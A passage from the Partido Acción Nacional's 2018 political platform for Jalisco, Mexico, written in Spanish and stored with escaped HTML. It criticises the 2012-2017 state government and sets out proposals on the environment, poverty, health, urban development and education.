Agenda 21, firmada en la Conferencia Mundial sobre Medio Ambiente y Desarrollo Sostenible, organizada por las Naciones Unidas en R\u00edo de Janeiro, de la cual M\u00e9xico es parte desde 1992, se destaca la importancia de promover y ejecutar programas de educaci\u00f3n ambiental, como proceso de desarrollo integral y permanente, con la participaci\u00f3n de la sociedad y autoridades estatales, permitir\u00e1 fomentar el respeto, cuidado, y adquirir habilidades con una actitud positiva sobre la importancia de la biodiversidad ante la conservaci\u00f3n del medio ambiente.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Establecer programas de difusi\u00f3n que permitan crear consciencia sobre el uso, aprovechamiento y cuidado del agua.<\/strong><\/p>\n<p>En coordinaci\u00f3n con los tres \u00f3rganos del gobierno, implementar mecanismos de acci\u00f3n que permitan crear campa\u00f1as para la difusi\u00f3n sobre medidas preventivas del uso, ahorro y aprovechamiento en el consumo del agua. Se evitar\u00eda as\u00ed problemas de escasez; de igual forma dentro de los mismos mecanismos, fomentar la recolecci\u00f3n y uso de agua pluvial, la cual puede ser de gran utilidad en riego de jardines y parques. Es importante la gesti\u00f3n de recursos p\u00fablicos para la extensi\u00f3n de ductos de agua potable, con la finalidad de que en todo el estado de Jalisco se tenga acceso al agua potable y, de igual forma, contar con un buen sistema de drenaje y alcantarillado.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Instrumentar de forma permanente los programas municipales para la prevenci\u00f3n y gesti\u00f3n Integral de los residuos s\u00f3lidos urbanos, para la recolecci\u00f3n, manejo y reciclaje de basura.<\/strong><\/p>\n<p>Jalisco es uno de los siete estados que recicla y separa la basura, sin embargo, de las 6 mil 524 toneladas que se recolectan al d\u00eda, s\u00f3lo el 40% se encuentra separada de acuerdo a la normatividad. La importancia de que este tipo de campa\u00f1as se lleven a cabo, permitir\u00e1 que Jalisco incremente sus dep\u00f3sitos de reciclaje y con la colaboraci\u00f3n de la ciudadan\u00eda y organizaciones de la sociedad civil interesadas en la necesidad de disminuir los grandes vol\u00famenes de basura que se generan en cada uno de los municipios.<\/p>\n<p><strong>Impulsar una pol\u00edtica de uso de suelo que propicie el mejor aprovechamiento, conservaci\u00f3n y preservaci\u00f3n de los recursos naturales propios del territorio, en las comunidades m\u00e1s alejadas, desde una \u00f3ptica sostenible y sustentable.<\/strong><\/p>\n<p>Los programas y acuerdos que establecen las leyes y reglamentos, en ocasiones, no son llevados a cabo por las administraciones en turno, por lo que resulta necesario impulsarlos y llevarlos a cabo, cuidando la conservaci\u00f3n y preservaci\u00f3n de los recursos naturales de las comunidades que se ven afectadas por los cambios de uso de suelo. La conservaci\u00f3n de los bosques y la diversidad de flora y fauna proporcionan beneficios y bienestar a los pobladores, ayudando tambi\u00e9n a su desarrollo econ\u00f3mico, sin necesidad de modificar el uso de suelo.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Fortalecer la legislaci\u00f3n estatal en materia ambiental y sustentabilidad, con la finalidad de gestionar recursos suficientes que permitan establecer mecanismos de control y supervisi\u00f3n sobre la emisi\u00f3n de residuos t\u00f3xicos y peligrosos. <\/strong><\/p>\n<p>El crecimiento industrial, la falta de una red de drenaje adecuada con las medidas de seguridad necesarias, y el incumplimiento de la regulaci\u00f3n ambiental, han incrementado la contaminaci\u00f3n de r\u00edos y lagunas. Las descargas industriales peligrosas y de drenajes municipales que no son tratados de forma conveniente generan infecciones y contaminaci\u00f3n de alto riesgo en las comunidades.<\/p>\n<p>El da\u00f1o al medio ambiente es responsabilidad, en gran parte, de las autoridades, ya que por su acci\u00f3n u omisi\u00f3n se ha permitido que la contaminaci\u00f3n avance.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.  Reconstruir Jalisco.                                                                          \t\t\t\t\t<\/p>\n<p>Este documento se integra con la finalidad de articular y dar orden a los postulados y planteamientos que el Partido Acci\u00f3n Nacional hace a la ciudadan\u00eda a trav\u00e9s de los candidatos que registre a los diferentes espacios del proceso electoral que concluye el 1 de julio de 2018.<\/p>\n<p>As\u00ed tanto el Comit\u00e9 Directivo Estatal como la Comisi\u00f3n de Plataforma Electoral del Consejo Estatal han convocado a personas con experiencia y conocimiento sobre diferentes aspectos del ejercicio de gobierno y la problem\u00e1tica social imperante en el Estado para participar en mesas de an\u00e1lisis que han aportado las ideas y lineamientos que se plasman en esta plataforma Pol\u00edtica 2018.<\/p>\n<p>Otro insumo importante es la revisi\u00f3n de lo postulado en plataformas pol\u00edticas previas, considerando los eventuales avances y retrocesos en su gesti\u00f3n, para actualizar y manifestar de nueva cuenta aquello que no ha sido objeto de soluci\u00f3n y profundizar en aquellas acciones en las que se han generado avances y consensos.<\/p>\n<p>Asimismo el Comit\u00e9 Directivo Estatal a trav\u00e9s de la secretar\u00eda de proyectos cuenta con un ejercicio de evaluaci\u00f3n y an\u00e1lisis de la gesti\u00f3n Estatal, metropolitana, regional y municipal, cuyas fuentes no se quedan en el seguimiento de la agenda medi\u00e1tica, sino que acude tambi\u00e9n a documentos estad\u00edsticos, p\u00fablicos y sociales, as\u00ed como a materiales de estudio generados por el partido, las universidades, las instituciones internacionales y sobre todo el di\u00e1logo cercano y constante con la militancia y la ciudadan\u00eda.<\/p>\n<p>El Instituto Efra\u00edn Gonz\u00e1lez Luna y la Secretar\u00eda de Innovaci\u00f3n implementaron mecanismos de consulta dirigidos a la militancia y a la ciudadan\u00eda en general que dotaron de insumos y visiones diferentes a la integraci\u00f3n de esta plataforma.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII. Jalisco 2012-2017 la ruina y el oropel.                                             \t\t\t\t\t<\/p>\n<p>El gobierno del estado se ha caracterizado por pr\u00e1cticas poco eficientes, sustentadas en relaciones personales, de inter\u00e9s y de amistad por encima de capacidades. La corrupci\u00f3n se fortalece por estas redes y se vuelve uso com\u00fan en pr\u00e1cticamente todas las dependencias y organismos estatales.<\/p>\n<p>La improvisaci\u00f3n de personas sin perfil y experiencia para despachar los asuntos p\u00fablicos, deriva en exceso de n\u00f3mina, desorden en gasto, disminuci\u00f3n en la inversi\u00f3n en infraestructura y pulverizaci\u00f3n del patrimonio p\u00fablico lo que se traduce en ausencia de resultados.<\/p>\n<p>El modelo de gesti\u00f3n imperante propicia la reinstalaci\u00f3n del r\u00e9gimen de partido preponderante, en el que el uso y distracci\u00f3n de recursos p\u00fablicos y pol\u00edticos son dirigidos para favorecer grupos espec\u00edficos, distraer la opini\u00f3n p\u00fablica, sembrar el contenido y la orientaci\u00f3n difundida en los medios tradicionales y la trivializaci\u00f3n del debate ciudadano, esquema instaurado a nivel federal que se trasplanta a Jalisco.<\/p>\n<p>En este modelo el gasto desmedido en promoci\u00f3n y publicidad de la imagen personal y el sobredimensionamiento de las acciones de gobierno, superan en muchas ocasiones el monto de la inversi\u00f3n p\u00fablica y el destinado a los programas cuyos logros pretenden difundir, las cifras, de lo erogado y lo obtenido, de los hechos cotidianos, de la respuesta del gobierno a los problemas m\u00e1s apremiantes, son maquilladas para que la ciudadan\u00eda no caiga en cuenta de la precariedad del orden p\u00fablico.<\/p>\n<p>El d\u00eda de hoy existe un estado de ilusi\u00f3n en la propaganda gubernamental, que no responde en nada a la realidad que enfrentan los mexicanos y los jaliscienses, nuestro planteamiento es conocer y dar a conocer los hechos, sin filtros y sin medias tintas en un ejercicio abierto y transparente de gobierno, donde el hacer sea prioridad frente al decir.<\/p>\n<p>Los municipios sufren hoy el embate m\u00e1s fuerte a su autonom\u00eda y capacidad de gesti\u00f3n, el federalismo fiscal padece de insuficiencia financiera, la ausencia de inversi\u00f3n p\u00fablica en ramos como la infraestructura regional y los programas de apoyo a productores as\u00ed como la disminuci\u00f3n constante de las participaciones otorgadas a los municipios aunados a la centralizaci\u00f3n de gasto y proyectos en las ciudades, con concentraci\u00f3n en el \u00e1rea metropolitana de Guadalajara, buscando la m\u00e1xima visibilidad medi\u00e1tica de proyectos fara\u00f3nicos, frente a un regateo inmoral de los recursos que requieren comunidades y productores en los municipios del Estado.<\/p>\n<p>En el esquema actual de atribuciones y recursos, el municipio es solo la ventanilla de atenci\u00f3n de servicios p\u00fablicos sujeta al control pol\u00edtico y administrativo de instancias estatales y federales. Abandonando los modelos de municipio libre y desarrollo regional, que fueron marca de los gobiernos panistas y cimiento de un crecimiento equilibrado entre los municipios y regiones de Jalisco.<\/p>\n<p>Al concentrar el esfuerzo del gobierno estatal en el territorio del \u00c1rea Metropolitana de Guadalajara, percibimos que el titular del Ejecutivo estatal no ha logrado dejar atr\u00e1s la funci\u00f3n de presidente municipal, mientras que el titular de la autoridad Municipal en Guadalajara toma aires y actitudes de gobernador o jefe pol\u00edtico del estado.<\/p>\n<p>El manejo electoral de la agenda pol\u00edtica ha marginado a los ciudadanos del escenario p\u00fablico, abriendo m\u00e1s la brecha entre la \u201cagenda pol\u00edtica\u201d lo que los gobiernos creen que se debe hacer, frente a lo que los ciudadanos requieren a trav\u00e9s de una \u201cagenda p\u00fablica\u201d, quedando como testigos de un espect\u00e1culo entre fuerzas pol\u00edticas que compiten entre s\u00ed, confront\u00e1ndose desde sus respectivos espejos, olvidando que esta representaci\u00f3n pol\u00edtica no se trata de una puesta en escena, sino de una responsabilidad que los jaliscienses delegan en las instituciones establecidas en nuestro sistema constitucional.<\/p>\n<p>En lo que concierne al di\u00e1logo entre los poderes del Estado y los organismos aut\u00f3nomos con la sociedad, se advierte que cada d\u00eda son m\u00e1s los ciudadanos que se aburren del discurso previsible y populista, en el que los problemas sociales se administran pero no se resuelven.<\/p>\n<p>Impunidad. Esta expresi\u00f3n define el estado de cosas en la impartici\u00f3n y procuraci\u00f3n de justicia, la investigaci\u00f3n de los delitos, la soluci\u00f3n a los conflictos entre particulares. Corrupci\u00f3n: en pr\u00e1cticamente cada instancia gubernamental se requiere de un impulso econ\u00f3mico para destrabar los tramites que los ciudadanos enfrentan, luchamos porque el combate tanto a la impunidad como a la corrupci\u00f3n sean hechos y acciones efectivos que no permanezcan en la mera expresi\u00f3n normativa.<\/p>\n<p>Resulta imperativo que las instancias p\u00fablicas atiendan la problem\u00e1tica del estado con un enfoque igualitario entre mujeres y hombres, as\u00ed como se garantice a mujeres y ni\u00f1os una vida sin violencia y con acceso pleno a las oportunidades.<\/p>\n<p>Es urgente recimentar el estado de Derecho, pues cada vez son menos los jaliscienses que esperan una respuesta efectiva de las entidades p\u00fablicas a problemas que afectan su patrimonio, 6 integridad f\u00edsica, tranquilidad y esperanza cierta de futuro. Hoy la justicia es tan lenta, que es m\u00e1s f\u00e1cil actuar al margen de la ley, enmendar econ\u00f3micamente por convenio la afectaci\u00f3n, que esperar la respuesta judicial. La justicia pronta, gratuita y expedita, se encuentra frente a la realidad de que solo se denuncia un delito de cada mil seg\u00fan datos del INEGI.<\/p>\n<p>En Jalisco estamos hartos de que la responsabilidad y la atenci\u00f3n a los problemas de seguridad, econ\u00f3micos, educativos, sociales, de salud y de inclusi\u00f3n se reducen a un mero reparto de culpas y la administraci\u00f3n a cuentagotas con paliativos, dejando para despu\u00e9s las soluciones de fondo.<\/p>\n<p>El \u00e1rea Metropolitana de Guadalajara, no puede seguir siendo el punto focal de la inversi\u00f3n, el gasto y la obra p\u00fablica de Jalisco, La asignaci\u00f3n de presupuestos y prioridades marginan de hecho a las regiones de la entidad, urge dar simetr\u00eda al gasto y la inversi\u00f3n.<\/p>\n<p>En materia educativa se ha devaluado al docente y al padre de familia, priorizando la d\u00e1diva y la implementaci\u00f3n de programas paternalistas que carecen de indicadores y por su universalidad no son eficaces para incentivar la permanencia, el aprovechamiento y la valoraci\u00f3n de los alumnos, profesores y padres de familia como personas y sujetos protagonistas del proceso educativo y no como mero adjetivo de los informes de gobierno.<\/p>\n<p>En s\u00edntesis Jalisco est\u00e1 sumido en un desastre de m\u00faltiples aristas y para enfrentarlo es necesario que ciudadanos, entes p\u00fablicos y sociales planteemos un proyecto de reconstrucci\u00f3n del estado, para poner de nuevo a Jalisco a la altura de nuestra historia y nuestro anhelo.<\/p>\n<p>A los puntos mencionados en los p\u00e1rrafos previos se suman multitud de circunstancias, condiciones y factores que desde la 7 comunidad, la administraci\u00f3n p\u00fablica y la vida familiar siembran distancia entre los ciudadanos y los \u00f3rganos de representaci\u00f3n pol\u00edtica.<\/p>\n<p>Ante la aparente confusi\u00f3n de todos los partidos pol\u00edticos y la falta de claridad en las propuestas, el tibio lenguaje pol\u00edticamente correcto y el debate est\u00e9ril en los lugares comunes de la tribuna, la palestra, el micr\u00f3fono y la pantalla televisiva, es que los ciudadanos buscan alternativas a partidos que les saben y huelen de la misma manera.<\/p>\n<p>La coyuntura estatal y nacional hace indispensable que la Plataforma Pol\u00edtica supere el modelo de cat\u00e1logo program\u00e1tico sobre la amplia gama de problemas y retos de la entidad para centrarse en proyectos viables, que sean detonadores de una vida mejor y m\u00e1s digna para todos; que incluyan a las personas y focalicen el esfuerzo gobierno-sociedad en asuntos espec\u00edficos.<\/p>\n<p>Es tiempo de que todos los ciudadanos, seamos conscientes de la importancia de asumir la responsabilidad de enfrentar aquellos retos que compartimos, m\u00e1s all\u00e1 de depositar esta tarea en las instancias p\u00fablicas. Es por ello que vacunados contra la \u201cneurosis de la escaramuza\u201d se propone el presente documento como una caja de herramientas, \u00fatiles para dar respuesta desde el \u00e1mbito local, regional y estatal a problemas reales y evidentes, complementando lo planteado en la plataforma federal y en la integraci\u00f3n de la coalici\u00f3n que a la Presidencia de la Rep\u00fablica y al Congreso de la Uni\u00f3n, a diversos municipios del estado y al congreso local, de la que Acci\u00f3n Nacional es parte y encabeza a nivel nacional.<\/p>\n<p>As\u00ed, la experiencia de gobierno, vida y desarrollo de los panistas jaliscienses se traduce en propuestas concretas, desde lo que es Acci\u00f3n Nacional y lo que pretendemos para la entidad, en congruencia con nuestros principios de doctrina.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tUn gobierno para el bien com\u00fan.                                                   \t\t\t\t\t<\/p>\n<p>El bien com\u00fan se debe manifestar como lo plantea el siguiente principio de doctrina: \u201c\u2026no es el capricho individual o de un grupo, sino que tiene por fin la realizaci\u00f3n del bien com\u00fan, que simult\u00e1neamente implica la justicia y la seguridad, la defensa del inter\u00e9s colectivo y el respeto y la protecci\u00f3n de la persona\u201d; as\u00ed pues, dicho principio engloba las caracter\u00edsticas que deben regir el hacer de la autoridad en relaci\u00f3n con las personas.<\/p>\n<p>En consecuencia, toda organizaci\u00f3n social reclama una relaci\u00f3n de respeto y un clima de di\u00e1logo constructivo como base de la democracia pluralista, que adem\u00e1s se funde en la confianza. El gobierno debe ser digno y constantemente merecer la confianza del ciudadano, s\u00f3lo as\u00ed puede abrirse paso el di\u00e1logo entre quienes sostienen puntos de vista distintos, pero que de buena fe tratan de definir y lograr el bien com\u00fan.<\/p>\n<h2>Comunidad humana, comunidad social, Comunidad pol\u00edtica.<\/h2>\n<p>Las comunidades son mucho m\u00e1s que un simple grupo humano establecido en un espacio geogr\u00e1fico, pues la cultura, costumbres, relaciones, tradiciones, valores, espacios para la convivencia y la cooperaci\u00f3n resultan ser un factor fundamental en el sentido de pertenencia de las personas hacia su comunidad y en la identificaci\u00f3n de los vecinos. Compartir una comunidad no involucra s\u00f3lo un domicilio, sino tambi\u00e9n m\u00faltiples significados que se desdoblan en los anhelos, aspiraciones y posibilidades de cada uno de los habitantes.<\/p>\n<p>Acci\u00f3n Nacional plantea con energ\u00eda reiterada la urgente necesidad de \u201cabrir las puertas a la participaci\u00f3n personal de mujeres y hombres en las decisiones colectivas que afectan el destino\u201d de nuestra patria y nuestro estado, pues pareciera que una vez materializada la posibilidad de alternancia pol\u00edtica en el ejercicio de gobierno, las instituciones se han estancado en una median\u00eda gris y burocr\u00e1tica, ausente de la sociedad, que es caldo de cultivo para la inconformidad colectiva y el caos populista.<\/p>\n<p>Frente a las opciones que pretenden dividir a los mexicanos y generar brechas en medio de las comunidades, el PAN reconoce que la dignidad preeminente de las personas es el fundamento de los derechos y que estos deben ejercerse a plenitud por cada individuo, pero es dentro de las comunidades y mediante el solidarismo y el ejercicio p\u00fablico subsidiario que las libertades fundamentales se transforman en derechos sociales.<\/p>\n<p>El bien Com\u00fan, que es el fin de toda gesti\u00f3n colectiva implica, como el PAN lo ha tenido muy en claro, generar proyectos viables para mejorar responsablemente los futuros posibles, de las personas, sean hombres o mujeres , las comunidades, los municipios, el Estado y en consecuencia de la Patria.<\/p>\n<p>La dignidad de la persona humana, de los hombres y las mujeres para Acci\u00f3n Nacional est\u00e1 por encima de preferencias, formas de pensar, or\u00edgenes, convicciones e ideolog\u00edas, el respeto a estas libertades est\u00e1 impreso en el ADN de este Instituto pol\u00edtico. El reconocimiento transversal del estado y las instituciones p\u00fablicas al acervo de derechos fundamentales de personas y comunidades requiere por parte de los individuos la sujeci\u00f3n a un marco de convivencia establecido en las normas que se materializa en un Estado de Derecho.<\/p>\n<p>Nuestra posici\u00f3n basada en el respeto y la preeminencia de la dignidad entiende que el derecho a la vida es una constante que persiste en todos los momentos del desarrollo de las personas, desde la concepci\u00f3n, el nacimiento, la identidad jur\u00eddica, el acceso a las oportunidades y la educaci\u00f3n, la salud, el ingreso decoroso y la vivienda digna, la capacidad de producir, emprender y definir la orientaci\u00f3n y el rumbo que cada uno decide tomar, sin que esto represente barrera, exclusi\u00f3n o discriminaci\u00f3n; el respeto a la dignidad como cimiento, la libertad como proyecto y los derechos fundamentales en lo individual, lo comunitario, lo social y lo pol\u00edtico como eje de la vida en comunidad orientan el Proyecto de Naci\u00f3n trazado desde de la fundaci\u00f3n de este partido.<\/p>\n<h2>Combate a la pobreza y a la exclusi\u00f3n, de los programas asistenciales a la Pol\u00edtica integral de Estado.<\/h2>\n<p>Indicadores nacionales e internacionales permiten conocer la profundidad y las consecuencias del binomio pobreza-exclusi\u00f3n, un gobierno promotor de la equidad debe procurar una disminuci\u00f3n en estos factores, de forma concatenada y secuencial, pues hasta el momento se ha limitado a dotar a las familias en estado de necesidad de una m\u00ednima dotaci\u00f3n de satisfactores y medios que les faciliten mantener condiciones de vida con una calidad precaria.<\/p>\n<p>Los programas sociales que conforme a la Plataforma Federal por M\u00e9xico al Frente, instrumentar\u00eda el estado para garantizar un ingreso b\u00e1sico y un piso firme de acceso a las oportunidades y las bases de inclusi\u00f3n requieren reforzarse con programas que permitan a todos sin excepci\u00f3n detonar sus capacidades y en libertad definir el sentido que dan a su vida.<\/p>\n<p>No es posible reducir la pobreza a un fen\u00f3meno meramente econ\u00f3mico, pues la falta de arraigo, el desapego a la comunidad y el aislamiento en los problemas propios que inhiben la colaboraci\u00f3n y participaci\u00f3n de las personas, especialmente las mujeres y las familias, en la atenci\u00f3n de problemas y retos colectivos constituyen son los puntos que debe tocar y atender una pol\u00edtica social fincada sobre la dignidad de las personas.<\/p>\n<p>La pluralidad que existe en nuestras comunidades obliga a las entidades que con el concurso social determinan el futuro que compartimos procuren la plena inclusi\u00f3n de todos los sectores y expresiones de la sociedad, en un esquema basado en el respeto a la diferencia que trascienda el establecimiento de programas, cuotas y siglas, buscando una atenci\u00f3n de los problemas sociales atendiendo a la diversidad de las necesidades que imperan en cada regi\u00f3n del Estado.<\/p>\n<p>Retomemos la pol\u00edtica de desarrollo regional, generando una descentralizaci\u00f3n en el ejercicio de los recursos p\u00fablicos, de forma tal que la derrama econ\u00f3mica y social de esta visi\u00f3n de un estado plural se traduzca en el fortalecimiento productivo y prosperidad para las familias en cada rinc\u00f3n de Jalisco.<\/p>\n<p>Los programas de apoyo a los grupos vulnerables, implementados desde los distintos \u00f3rdenes de gobierno ameritan un enfoque que permita la prevalencia de la familia, mediante la consolidaci\u00f3n de un ingreso y un patrimonio familiar, buscando que sea en el hogar el espacio en el que se resuelvan las necesidades de las mujeres y los hombres de Jalisco.<\/p>\n<p>La dispersi\u00f3n de recursos hacia los municipios, debe ser el acento del r\u00e9gimen de coordinaci\u00f3n fiscal, modelo en el que hoy la Federaci\u00f3n y el Estado se quedan con la mayor parte, dejando en la ignominia al Nivel b\u00e1sico de las instituciones pol\u00edticas.<\/p>\n<h2>Marginaci\u00f3n y exclusi\u00f3n.<\/h2>\n<p>El superior inter\u00e9s del estado por la ni\u00f1ez y las nuevas generaciones, as\u00ed como las normas que garantizan los derechos fundamentales en un Estado de Derecho son el \u00fanico l\u00edmite a la convivencia en la comunidad, por lo que resulta inadmisible y punible cualquier forma de segregaci\u00f3n, discriminaci\u00f3n y exclusi\u00f3n desde las entidades p\u00fablicas.<\/p>\n<p>Los ni\u00f1os y los J\u00f3venes merecen ser el sustantivo en los programas de desarrollo y acci\u00f3n de gobierno, procuraremos un ejercicio p\u00fablico que invierta en que las nuevas generaciones desarrollen sus potencialidades.<\/p>\n<p>La marginaci\u00f3n tiene m\u00faltiples expresiones, para afrontarla es necesario enfocar esfuerzos en cada uno de estos aspectos, exclusi\u00f3n jur\u00eddica, exclusi\u00f3n laboral, educativa, religiosa, de preferencias y orientaciones en todos los aspectos de la vida social, educativa, econ\u00f3mica y pol\u00edtica.<\/p>\n<p>Reiteramos que Acci\u00f3n Nacional no puede ver ni ejercer distinci\u00f3n entre las personas; entre hombres y mujeres, entre lugares de origen, lengua, tez y patrimonio, pues la dignidad que compartimos nos hace iguales y libres de actuar diferente y de ser reconocidos como seres individuales y trascendentes.<\/p>\n<p>Es necesario que el marco normativo y la distribuci\u00f3n de competencias p\u00fablicas establezcan instancias, programas, pol\u00edticas y acciones para combatir, prevenir, sancionar y erradicar la discriminaci\u00f3n como pr\u00e1ctica en lo p\u00fablico y lo privado.<\/p>\n<h2>Salud.<\/h2>\n<p>En primera instancia es necesario asumir un compromiso para dotar de recursos y apoyo a los hospitales civiles m\u00e1s all\u00e1 de la prestaci\u00f3n de Servicios a trav\u00e9s del Seguro Popular, pues su papel hist\u00f3rico como protagonista en el desarrollo de la medicina en el occidente del pa\u00eds y su participaci\u00f3n fundamental como hospitales escuela, es un patrimonio de los jaliscienses, por ello debemos de reconocer y replicar el modelo de patronato y fundaciones de los Hospitales civiles para los Institutos y Organismos P\u00fablicos Descentralizados pertenecientes al Sector Salud.<\/p>\n<p>En este sentido es necesario aprovechar al m\u00e1ximo las instalaciones hospitalarias p\u00fabicas para la formaci\u00f3n de m\u00e9dicos especialistas, a trav\u00e9s de mecanismos de ense\u00f1anza y desarrollo acad\u00e9mico.<\/p>\n<p>Estamos comprometidos con que todos los jaliscienses, puedan recibir oportuna y f\u00e1cilmente atenci\u00f3n m\u00e9dica de calidad en todos los rincones del Estado, abierta a todos los hombres y las mujeres de Jalisco, fortaleciendo la red de centros hospitalarios y unidades de salud, a trav\u00e9s de una efectiva dispersi\u00f3n regional de los recursos p\u00fablicos.<\/p>\n<p>La falta de claridad en el manejo de los recursos asignados al Seguro Popular, ponen hoy en riesgo la prestaci\u00f3n de este servicio; los gobiernos del PAN lograron la cobertura universal en atenci\u00f3n m\u00e9dica, por lo que es necesario replantear el manejo administrativo y los controles existentes para que esta instancia sea un prestador eficiente de atenci\u00f3n m\u00e9dica a todos los niveles, con el abasto permanente y suficiente de medicamentos e insumos.<\/p>\n<p>En este campo Acci\u00f3n Nacional ha demostrado fehacientemente contar con cuadros capacitados y pol\u00edticas p\u00fablicas eficaces para el funcionamiento adecuado del Sector, capacidad que es reconocida a nivel local y nacional, incluso por gobiernos de otros partidos.<\/p>\n<h2>Ciudad sustentable, solidaria, subsidiaria.<\/h2>\n<p>Reiteramos la necesidad de redise\u00f1ar de fondo el marco regulador del crecimiento y desarrollo urbano, pues actualmente tanto el c\u00f3digo urbano, como los ordenamientos municipales han sido rebasados.<\/p>\n<p>La revisi\u00f3n del C\u00f3digo Urbano debe de incorporar modelos de participaci\u00f3n ciudadana efectiva, jur\u00eddicamente tutelada en la integraci\u00f3n de los planes de desarrollo territorial.<\/p>\n<p>Para ello se deber\u00e1n de implementar consultas p\u00fablicas organizadas por la autoridad electoral y de participaci\u00f3n ciudadana, a partir de necesidades y realidades de los pol\u00edgonos urbanos cuya vocaci\u00f3n se actualiza, restringidas a los habitantes de barrios y colonias afectados.<\/p>\n<p>Asimismo como se se\u00f1al\u00f3 en puntos anteriores, la plusval\u00eda que se deriva del desarrollo vertical y la gentrificaci\u00f3n de per\u00edmetros urbanos debe de tener una aportaci\u00f3n social que procure el desarrollo con calidad en todas las zonas de los municipios que conforman el \u00e1rea metropolitana de Guadalajara.<\/p>\n<p>En este sentido es necesario que las instancias metropolitanas de planeaci\u00f3n y vivienda impulsen la redensificaci\u00f3n de los centros hist\u00f3ricos, barrios tradicionales y colonias especialmente en el municipio de Guadalajara, con una oferta de vivienda accesible, digna e integral.<\/p>\n<p>Los planes y programas de desarrollo urbano requieren de esquemas para fortalecer la prestaci\u00f3n de servicios en el entorno barrial y distrital, a partir de la iniciativa local y la capacidad de emprendimiento de los vecinos.<\/p>\n<p>La intervenci\u00f3n y el mejoramiento del entorno urbano, el rescate de espacios p\u00fablicos en abandono o en desuso, el otorgamiento de apoyos a particulares para el remozamiento y rehabilitaci\u00f3n de fachadas, banquetas y viviendas; el mantenimiento de redes de servicios p\u00fablicos y superficies de rodamiento, as\u00ed como la introducci\u00f3n oportuna y debidamente socializada de ciclov\u00edas, calles tranquilizadas y zonas 30, son herramientas que generan calidad de vida, tranquilidad, convivencia y seguridad entre los vecinos, por lo que estas pol\u00edticas urbanas, ampliamente impulsadas por los gobierno panistas deben de reimpulsarse y aplicarse de manera intensa para reconstituir el tejido comunitario, la mejor muestra; la v\u00eda Recreactiva de Guadalajara que hoy une, domingo a domingo a los municipios que conforman el \u00e1rea metropolitana.<\/p>\n<p>Ante los problemas de la densificaci\u00f3n vertical es urgente reconceptualizar el esquema fiscal de la construcci\u00f3n de vivienda, para procurar calidad de vida en la ciudad, a trav\u00e9s de nuevos servicios comunitarios y no solo la recaudaci\u00f3n, asimismo se\u00f1alamos la irresponsabilidad del esquema implementado en Guadalajara, para legalizar desarrollos verticales irregulares mediante una \u00ednfima contribuci\u00f3n.<\/p>\n<p>Este burdo modelo, que permite actuar de forma contraria a derecho y genera mecanismos administrativos a modo, que facilita a los desarrolladores obtener pingues ganancias gracias a la connivencia de autoridades municipales como Guadalajara, que \u201ctoleran\u201d estas acciones, para, mediante acuerdos administrativos convalidar la situaci\u00f3n aprovechando vac\u00edos en la normatividad urban\u00edstica. La indebida regulaci\u00f3n existente no permite verificar la equidad y proporcionalidad de las contribuciones municipales por exceso en los niveles de edificaci\u00f3n, propiciando as\u00ed un manejo opaco, discrecional y propicio a la corrupci\u00f3n sobre esta \u201clegalizaci\u00f3n\u201d.<\/p>\n<p>La ciudad digna y centrada en las personas, considera el deporte y activaci\u00f3n f\u00edsica como una necesidad que debe ser atendida mediante pol\u00edticas integrales de obra p\u00fablica, que aparejen recaudaci\u00f3n y destino de los recursos, dirigiendo a la inversi\u00f3n urbana todo recurso proveniente de las acciones urban\u00edsticas.<\/p>\n<p>Los barrios tradicionales y las colonias, espec\u00edficamente en la parte central de los municipios metropolitanos carecen de espacios suficientes y dignos para el deporte y esparcimiento, as\u00ed como la existencia de predios bald\u00edos, deshabitados o abandonados, que pueden ser aprovechados en beneficio de la comunidad, tanto para la pr\u00e1ctica de deportes, expresiones culturales, juego y convivencia, as\u00ed como el encuentro entre generaciones.<\/p>\n<p>Para ello se propone la construcci\u00f3n de centros comunitarios, de convivencia, deporte y esparcimiento que generen un Incremento del espacio verde y de esparcimiento en comunidades, mediante la adquisici\u00f3n de estos espacios en desuso, en los que se instalar\u00edan canchas m\u00faltiples, gimnasios al aire libre, \u00e1reas verdes y espacios de convivencia, lo que se complementar\u00eda con parques lineales, para abatir el d\u00e9ficit en \u00e1reas verdes por habitante que existe en diversos per\u00edmetros de la ciudad, permitiendo a ni\u00f1os y j\u00f3venes contar con espacio suficiente para propiciar su pleno desarrollo.<\/p>\n<p>Es tambi\u00e9n necesario intensificar la instalaci\u00f3n y el uso de gimnasios p\u00fablicos, la promoci\u00f3n del deporte social y la activaci\u00f3n f\u00edsica social sin dejar de lado el Deporte de Alto rendimiento, que es una expresi\u00f3n del Liderazgo de Jalisco, obtenido y consolidado en las administraciones panistas, que debe involucrar al empresariado jalisciense en el patrocinio al Deporte de alto rendimiento.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tUn sistema educativo en el que los alumnos aprendan, permanezcan y egresen. \t\t\t\t\t<\/p>\n<p>El actual gobierno ha reducido la pol\u00edtica educativa a programas asistencialistas y clientelares que solo dotan de mochilas, \u00fatiles o uniformes, pero que dejan de lado el mantenimiento adecuado a las instalaciones educativas de todos los niveles, as\u00ed como el equipamiento o construcci\u00f3n de los espacios educativos.<\/p>\n<p>Acci\u00f3n Nacional propone una pol\u00edtica de apoyos e incentivos a la permanencia y aprovechamiento de los alumnos y alumnas en los niveles de educaci\u00f3n media y media superior, que complemente en primera instancia los beneficios que aportan a las familias los programas sociales, as\u00ed como el establecimiento de becas y otros est\u00edmulos a los estudiantes.<\/p>\n<p>El reconocimiento y apoyo a los docentes debe ser una parte fundamental de la pol\u00edtica educativa en el estado, no se puede concebir un sistema educativo que no mantenga a sus educadores a la vanguardia y les proporcione las herramientas necesarias para su desarrollo. Para Acci\u00f3n Nacional el papel que ejerce el magisterio en la noble labor educativa reviste importancia trascendental, no son solo n\u00fameros en las estad\u00edsticas de ingreso al sistema educativo de la entidad, son seres humanos que tienen en sus manos la capacitaci\u00f3n y preparaci\u00f3n de la generaciones futuras de jaliscienses, a los que la sociedad les debe reconocimiento y gratitud, por ello se propone robustecer el sistema de formaci\u00f3n y actualizaci\u00f3n docente, adecu\u00e1ndolo a cada contexto local, que contemple a la evaluaci\u00f3n como una herramienta para mejorar y no como un elemento de coacci\u00f3n para el profesorado.<\/p>\n<p>La investigaci\u00f3n educativa da muestras de 